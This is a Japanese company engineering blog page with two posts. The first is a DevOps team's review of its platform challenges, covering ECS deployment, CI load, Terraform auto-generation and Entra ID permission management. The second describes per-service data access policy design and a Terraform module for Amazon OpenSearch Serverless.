DevOpsチームはその中でも、インフラ・CI/CD・セキュリティといった領域のプラットフォーム機能を開発・運用するチームです。ミッションとして「プロダクト提供における、プロダクト開発以外の複雑性に対して、必要な抽象化を行い、プロダクト開発チームがプロダクトの価値を最速で最大化できる状態を作る」という言葉を掲げています。バクラクのお客様にとっては直接的に価値を感じられる領域ではありませんが、プロダクト開発チームに対してプロダクトの価値提供を最速・最大化できるプラットフォームを提供することで、お客様への価値提供を最速・最大化できると考えています。

現在、DevOpsチームには4人のメンバーがいます。DevOpsチームの取り扱う技術領域は広く、それぞれのメンバーに得意・不得意な領域があるため、お互いに領域を補完しあいながら、日々プラットフォームづくりに励んています。

DevOpsチームの「のびしろ」

これまでの活動を振り返りつつ、改善すべきポイントや新たに取り組みたい課題をリストアップしてみました。以下にその一部を紹介します。


プロダクトの継続的なデリバリー

バクラク事業部では、『ecspressoを活用したECSデプロイの改善』で紹介されているように、インターフェースを細かく切ったconnect-goのサービスを定義して実装し、ECS Serviceとしてデプロイする基盤 (layerone) があります。最も新しいプロダクトであるバクラク請求書発行は、全面的にlayerone上に構築しています。

tech.layerx.co.jp

紹介した記事中で述べている通り、サービス数は単調に増加していく傾向があります。現時点ではすべてのプロダクトは同じ定期リリースサイクルであることから、定期的に50+のサービスが一斉にデプロイ対象となります。共通パッケージの依存関係チェックを厳密に行えておらず、共通パッケージが変更された場合はほぼすべてのサービスが一斉にデプロイされることになります。この状況では以下のような課題があります。

弱いオーナーシップ

これまでlayerone上に実装された多くのサービスは、それ自体がプロダクトを強く構成するサービスではなく、またプロダクト間を繋ぐ機能や共通利用されるサービスであることから、オーナーシップが相対的に弱い状態になっています。layeroneの仕組みに詳しいDevOpsなどプラットフォーム側のチームがデプロイ開始のトリガーを行い、サービスのデプロイまで行っています。プラットフォームチームはデプロイするサービスの中身をすべて熟知しているわけではないため、適切なオーナーに移譲していく必要があると考えています。

デプロイ順序の弱い解決

サービス間には当然ながら依存関係があります。サービス間通信に利用するパッケージ依存をチェックすることで、ある程度機械的に解決していますが、layerone外のサービスを含め完全な解決ができていません。定期リリース時はドキュメントに変則的なデプロイ手順が書かれることもあり、最終的には人間がデプロイ順序を解決しており、リリースにかける負担が大きいことが問題です。

また、フロー効率を重視することから、一人の実装者が破壊的変更を含む変更を複数のサービスに適用し、定期リリースで一気にデリバリーすることもあります。これはマイクロサービスの前提である独立デプロイを諦めていることになります。現時点での開発リソースや開発スタイルでは最適かもしれませんが、今後さらに開発者が増えたり関心事が増えると難しくなるのではという懸念があります。

CIが詰まったり不安定になる

layeroneではデプロイのためのコードをGitHubでホストし、変更によりGitHub Actionsを動かしデプロイするCIOpsを行っています。具体的には、Dockerイメージをビルドした後、ecspressoの設定上のイメージタグを書き換えるPull Requestを作成し、これをマージするとpush eventによりecspresso deployを行うWorkflowが走ります。これらのActionsは疎結合に構成されており、それぞれのサービスに対して専用のものがあります。

それなりのサービス数を一斉にビルド・デプロイしようとするとGitHub ActionsやGitHub APIが悲鳴を上げることがしばしばあります。起動させたWorkflow Runがunknown eventでstartup failureになったり、Secondary Rate LimitによりAPIコールが失敗したり、push eventで起動するはずのWorkflowが起動しなかったりします。現時点ではすべてGitHub Hosted Runnerを利用していますが、特に最後に挙げた問題はgithub.comのコントロールプレーン側の都合でありSelf Hosted Runnerに変えたとしても解決しないのではないかと思っています(まだ実際に検証できていません)。デプロイPRの作成やデプロイを今よりゆっくり行えば安定性の問題は回避しやすくなる一方、全体のデプロイのリードタイムは伸びてしまいます。

最近の施策

以上の課題に対して、まだ道半ばですが以下の取り組みを行っています。

独立したデプロイ

独立デプロイを目指すWorking Groupを立ち上げました。次のような活動をしています。

  • 破壊的となる変更の整理とドキュメンテーション、CIによる破壊的変更の検知
  • layeroneで構成されたプロダクトを対象に、ステージング環境で独立デプロイの試行

バクラク請求書発行を対象とした独立デプロイの試行では、依存するバクラク共通管理の変更がまだリリースされていなかったことが原因で、一部機能が使えなくなる発見がありました。バクラク共通管理は最も他サービスへの依存が少ないプロダクトであるため、バクラク共通管理を独立してデプロイできるようにすること次のゴールとしています。

オーナーシップの意識

monorepoでCODEOWNERを設定してCODEOWNERのapproveを必須としたり、プロダクトをまたぐ機能を開発運用するチームを明確化してデプロイを移譲する取り組みを現在進行系で行っています。

開発体験への投資

layeroneにおいては、特にEnablingチームやDevOpsチームが基盤を構築するにあたり実装や意思決定をDesign DocsやADRなどのドキュメントとして残すようにしています。しかしドキュメント間の関連やオンボーディングの観点では改善の余地があると考えてます。また、前述した通りサービスが増え続けると、サービス自体やサービス間の関連を理解する助けが必要になります。バクラクのプロダクトでは全面的にDatadogを採用しており、Service Mapなど組み込みの機能が役立つこともありますが、この領域にはまだあまり投資できていません。依存関係だけでなく、ドキュメント、コード・インフラリソースへ一発で辿れたり、CIやモニタリングダッシュボードと紐付けたりすることで、開発者にとってもプラットフォームチームにとっても便利なポータルを育てていきたいと思っています。最近よく聞くInternal Developer Portalに準じるものです。個人的な興味でBackstageを社内クラスタにデプロイして遊んでみたりしています。可能性は感じるものの、使いたいプラグインがmonorepoを想定していなかったり、ECSのプラグインが無かったりとまだ実用段階にはできていません。

プロダクト開発チームによるインフラ変更のスループット向上とガードレール整備

バクラクではインフラの構成管理にTerraformを使用しています。Terraformのリソース定義の多くは自動生成されており、事前定義したアーキテクチャパターンから所望のアーキテクチャを選択することで、必要なインフラを構築できるようになっています。

バクラクにおける標準的なパターンであれば、わずか数行の設定を設定ファイル(Jsonnet)に記述するだけで、本番環境にデプロイ可能なレベルのインフラが監視も含めて構築できます。以下の例は、休日情報を返却するサービスの設定例です。「business」というドメイン領域に含まれる「HolidayService」をconnect-goで構築、オプションでECS Service Connectも有効化する、という設定です。

domain(
  'business', baseDomain(
    [
      connectService { name: 'HolidayService' } + decorator.ecs_service_connect,
    ]
  )
)

このような数行の設定と、アプリケーションコードを書くだけで本番環境にデプロイできるのは、サービスの開発者にとっては魅力的ではないでしょうか。

しかし、現実はこのようにうまくいくことばかりではありません。この自動生成にも「のびしろ」が眠っています。先ほどの例で + decorator.ecs_service_connect という設定があることに注目してください。この設定はECS Service Connectを有効化する設定です。昨今、バクラクでは様々なアーキテクチャパターンが生まれ始めており、このような追加設定が増え始めています。結果として、設定が冗長になってしまったり、競合するオプションを設定してしまったりと、設定難易度が上がり続けています。この問題を解決するためには、プロダクト開発チームにヒアリングを行い、アーキテクチャパターンの取捨選択とさらなる抽象化が必要となるでしょう。

また、アーキテクチャパターンによる自動生成ではカバーしない特殊構成や実験的構成については、Terraformのコードを直接書いています。リソースごとに推奨値が利用できるようにTerraform Moduleを整備していますが、ガードレールの整備も必要です。具体的には、semgrepのruleの拡充やTrivyによる静的解析による指摘ができるようにするべきだと考えています。

現時点では、プロダクト開発チームだけでインフラ構築が完了するレベルまで、この自動生成システムやドキュメントが成熟していません。そのため、インフラの構築・変更は主にDevOpsチームが行っています。しかし、バクラクの爆速開発を支援するには、プロダクト開発チーム自身がインフラ構築・変更を行えるセルフサービス化が必須だと考えています。

権限委譲しやすい権限管理システムの整備

バクラクでは、SaaSや社内管理画面上のID管理・権限管理にIdPであるMicrosoft Entra ID(旧称: Azure Active Directory)を利用しています。このMicrosoft Entra ID上には、現時点では「アカウントが割り当てられた人」に関する最低限の情報しか格納されていません。この「のびしろ」について、この章ではお話しようと思います。

これまでLayerXは、組織規模が比較的小さく、管理したい権限の種類も多くはなかったため、非常にシンプルな権限管理方法を採用していました。SaaSや社内管理画面の管理者、もしくは管理部署の上長に高い権限を与え、必要な権限を必要な人に随時与えてもらう、といった方法です。そして、バクラクの開発組織における権限管理は主にDevOpsチームが担当していました。

しかし、LayerXは急成長しており、2025年度に「2025年度に500名体制」を目指しています。

note.com

組織拡大による権限付与対象の増加や権限種別の増加、及び、複雑な権限付与要件が発生すると仮定した場合、現行の権限管理方法ではすぐに破綻するでしょう。権限管理は、管理者に権限付与を行ってもらうのではなく、権限付与ポリシーをメンテナンスしてもらうように変更する必要があります。そのうえで、権限付与自体は自動化、権限付与ポリシーの変更はガードレール内であれば(定期的に監査するものの)自由に変更が可能という状態を作るべきだと考えています。

そのためには、権限付与ポリシーに利用できる情報をMicrosoft Entra IDに集約して行く必要があります。具体的には、過去・現在・未来における組織図や「SaaS管理者」といった組織図上には現れないロール情報などです。また、その情報が継続的に、かつ、可能な限り迅速に反映される状態を作る必要があります。

この「のびしろ」はCTO室も認識しており、バクラクDevOpsチームと共同で解決していく予定です。

tech.layerx.co.jp

この「のびしろ」をのばした暁には、従業員一人ひとりが必要な権限を最速で与えられ、かつ管理負荷も抑えられ、組織全体の生産性が向上すると期待しています。また、権限の不適切な付与や使用を防ぐことで、セキュリティリスクも低減できるはずです。


おわりに

今回はバクラク事業部DevOpsチームの「のびしろ」についてお話しました。今回お話した「のびしろ」は一部であり、他にもたくさんの「のびしろ」があります。すこしでも気になったら是非カジュアル面談しましょう。カジュアル面談は「LayerXをもっと知ってもらいたい」が目的なので「今は転職するつもり無いんです…」って状態でも大丈夫です!どしどし応募してください!以下のページから「DevOps」と検索するとDevOpsチームのメンバーとカジュアル面談ができます!

jobs.layerx.co.jp

また、LayerX Casual Nightというイベントも開催しています。LayerXのメンバーとゆるく組織の話や技術の話ができるイベントです。次回は 2024/01/30 (火) で日本酒をいっぱい飲める会です。

jobs.layerx.co.jp

採用関連情報はこちらに集まっているので一度ご覧になられてください!

jobs.layerx.co.jp

マイクロサービス環境における Amazon OpenSearch Serverless のポリシー設計 #LayerXテックアドカレ

バクラク事業部 Platform Engineering 部の uehara です。

この記事は LayerX テックアドカレ (概念) の45日目で、昨日は y_matsuwitter の「LayerXののびしろ、2023年を振り返る」でした。

今回は、バクラクで導入した Amazon OpenSearch Serverless の設計について紹介します。

バクラクでは全文検索エンジンとして OpenSearch を利用しており、2023年に Serverless が正式リリースされたことを受け、今後は Serverless を積極的に活用する方針となりました。

Amazon OpenSearch Serverless とは

その名の通り OpenSearch のサーバレス版で、スケールイン・スケールアウトが自動で行われるためインスタンスタイプやディスクのキャパシティ管理が不要となるサービスです。

従来の OpenSearch ではドメインという単位でリソースを管理していましたが、Serverless ではコレクションと呼ばれる単位で管理します。
データは全て暗号化される仕様で、コレクション作成時に指定した暗号化キーが使用されます。

リソースは OCU (OpenSearch Capacity Unit) 単位でスケールし、コレクションには最低 4 OCU (インデックス作成用 x 2, 検索用 x 2) が必要です。東京リージョンの OCU 単価は $0.334 / hour のため、最低でも月額 975 ドルが掛かる計算となります。

OCU はリージョンおよび暗号化キーが同一であれば複数のコレクションで共有されます。
暗号化キーが異なる場合は共有されないため、新たに 4 OCU が必要です。

バクラクにおける OpenSearch Serverless の利用方針

バクラクでは OpenSearch を利用するサービスが複数存在することを考慮し、2つの案を検討しました。

  • (A) サービスごとにコレクションと暗号化キーを分離する
    • KMS レベルでデータを完全に分離できる
    • OCU の総数が増えるため毎月のコストが増大する
  • (B) サービスごとにコレクションを分離し暗号化キーは共有する
    • OCU の利用効率が高まりコストメリットが大きい
    • 他サービスのデータへアクセスさせないための適切な制御が必要

今後もサービスが増えていくことを考慮すると、A 案ではコスト面が大きな懸念でした。B 案と比べると数倍以上のコストを要する試算です。

公式ドキュメントを中心に調査した結果、OpenSearch Serverless のデータアクセスポリシーで十分なアクセス制御を行えると判断し、今回は B 案を採用しました。

これらの検討結果や背景は ADR (Architecture Decision Record) として社内ドキュメントに残してあります。

データアクセスポリシーの設計

上記の方針を踏まえて、データアクセスポリシーは以下の設計としました。

  • サービス (Principal) ごとに専用のアクセスポリシーを作成
  • 命名規則としてコレクション名にはサービス名を用いる
  • 自サービスのコレクションおよび配下のインデックスのみアクセスを許可

アクセスポリシー例

[
  {
    "Principal": [
      "<ecs-task-role-arn>"
    ],
    "Rules": [
      {
        "Permission": [
          "aoss:DescribeCollectionItems",
          "aoss:CreateCollectionItems",
          "aoss:UpdateCollectionItems"
        ],
        "Resource": [
          "collection/<service-id>"
        ],
        "ResourceType": "collection"
      },
      {
        "Permission": [
          "aoss:DescribeIndex",
          "aoss:ReadDocument",
          "aoss:CreateIndex",
          "aoss:UpdateIndex",
          "aoss:WriteDocument",
          "aoss:DeleteIndex"
        ],
        "Resource": [
          "index/<service-id>/*"
        ],
        "ResourceType": "index"
      }
    ]
  }
]

命名規則によりサービスを識別し、マッチするリソースのみ操作を許可することで、他サービスへのデータアクセスを防ぎます。

データアクセスポリシーはコレクションと紐づかない独立したリソースで複数作成できるため、サービス (Principal) ごとに専用ポリシーを作成しています。

ポリシー生成の効率化

データアクセスポリシーが今後も増えていくことを見据えて、Terraform module を用意することでポリシー生成を効率化しています。

必要なパラメータを渡すことでポリシー JSON を生成できるほか、ADR で定めた「他サービスのデータへのアクセスを防ぐ」するバリデーションも実装しました。今後は semgrep のルールとしても追加予定です。

resource "aws_opensearchserverless_access_policy" "xxxx" {
  name   = var.service_id
  type   = "data"
  policy = module.aoss_data_access_policy_document.json
}
module "aoss_data_access_policy_document" {
  source          = "../../modules/aoss-data-access-policy-document"
  collection_name = var.service_id
  index_name      = "*"
  role            = "writer"
  principals      = ["arn:aws:iam::123456789012:role/zzzz"]
}

この module を用いることで、前述のようなポリシー JSON を容易に生成できます。

余談ですが、データアクセスポリシーのポリシー名は32文字までしか指定できないため注意が必要です。AWS さんぜひ緩和をお願いします!

まとめ

マイクロサービス環境における Amazon OpenSearch Serverless の設計例について紹介しました。

暗号化キーを共通化することで OCU の利用効率を高めてコストを抑えられますが、アクセス制御を適切に行うためのポリシー設計も重要となってきます。

LayerX のアドカレはまだまだ続きます。 明日は noritama さんの記事です。お楽しみに!